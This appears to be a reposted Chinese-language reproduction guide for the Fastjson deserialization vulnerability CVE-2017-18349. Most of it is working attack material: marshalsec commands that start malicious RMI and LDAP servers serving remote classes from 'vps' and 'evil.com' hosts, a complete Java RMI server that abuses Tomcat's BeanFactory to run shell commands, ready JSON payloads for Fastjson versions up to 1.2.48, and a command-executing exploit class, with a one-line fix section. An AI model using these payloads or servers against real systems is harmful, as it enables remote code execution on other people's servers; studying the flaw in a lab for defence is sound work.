CVE-2017-18349
- 漏洞原理
- 影響
- payload:
- 復現
- 漏洞環境
- 準備腳本
- 修復
- 參考鏈接
漏洞原理
Fastjson介面簡單易用,廣泛使用在快取序列化、協議互動、Web輸出、Android客戶端提供兩個主要介面toJsonString和parseObject來分別實作序列化和反序列化,
fastjson在決議json的程序中,支持使用autoType來實體化某一個具體的類,并呼叫該類的set/get方法來訪問屬性,通過查找代碼中相關的方法,即可構造出一些惡意利用鏈,
FastJson中的 parse 和 parseObject方法都可以用來將JSON字串反序列化成Java物件,parseObject 本質上也是呼叫 parse 進行反序列化的,但是 parseObject 會額外的將Java物件轉為 JSONObject物件,JSON.toJSON,所以進行反序列化時的細節區別在于,parse 會識別并呼叫目標類的 setter 方法及某些特定條件的 getter 方法,而 parseObject 由于多執行了 JSON.toJSON(obj),所以在處理程序中會呼叫反序列化目標類的所有 setter 和 getter 方法,
影響
1、基于rmi的利用方式
適用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前,
利用方式:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
http://vps:8080/test/#Exploit 9999
2、基于ldap的利用方式
適用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前,
利用方式:
java -cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
http://VPS:8080/test/#Exploitt 9999
3、基于BeanFactory的利用方式
適用jdk版本:JDK 11.0.1、8u191、7u201、6u211以后,
利用前提:因為這個利用方式需要借助服務器本地的類,而這個類在tomcat的jar包里面,一般情況下只能在tomcat上可以利用成功,
利用方式:
public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app/']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
payload:
適用范圍 版本 <= 1.2.24
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true}
適用范圍 版本 <= 1.2.48
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}"
復現
漏洞環境
使用vulhub環境:
docker-compose up -d
| 主機 | ip |
|---|---|
| 靶機:ubuntu20 | 192.168.237.138 |
| 攻擊機:kali2020 | 192.168.237.139 |
| vps:windows10存放遠程呼叫的rmi即exp | 192.168.237.1 |
準備腳本
exp:需要編譯成class位元組碼檔案,放在vps上供靶機遠程呼叫
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后我們借助marshalsec專案,啟動一個RMI服務器,監聽9999埠,并制定加載遠程類TouchFile.class:
Java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999

訪問漏洞鏈接,抓包改包,

修復
及時打上官方補丁,,
參考鏈接
https://www.cnblogs.com/sijidou/p/13121332.html
https://www.freebuf.com/vuls/208339.html
https://zhuanlan.zhihu.com/p/151735318
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/290001.html
標籤:其他
上一篇:Java解決執行緒安全問題
下一篇:CVE-2021-36934復現

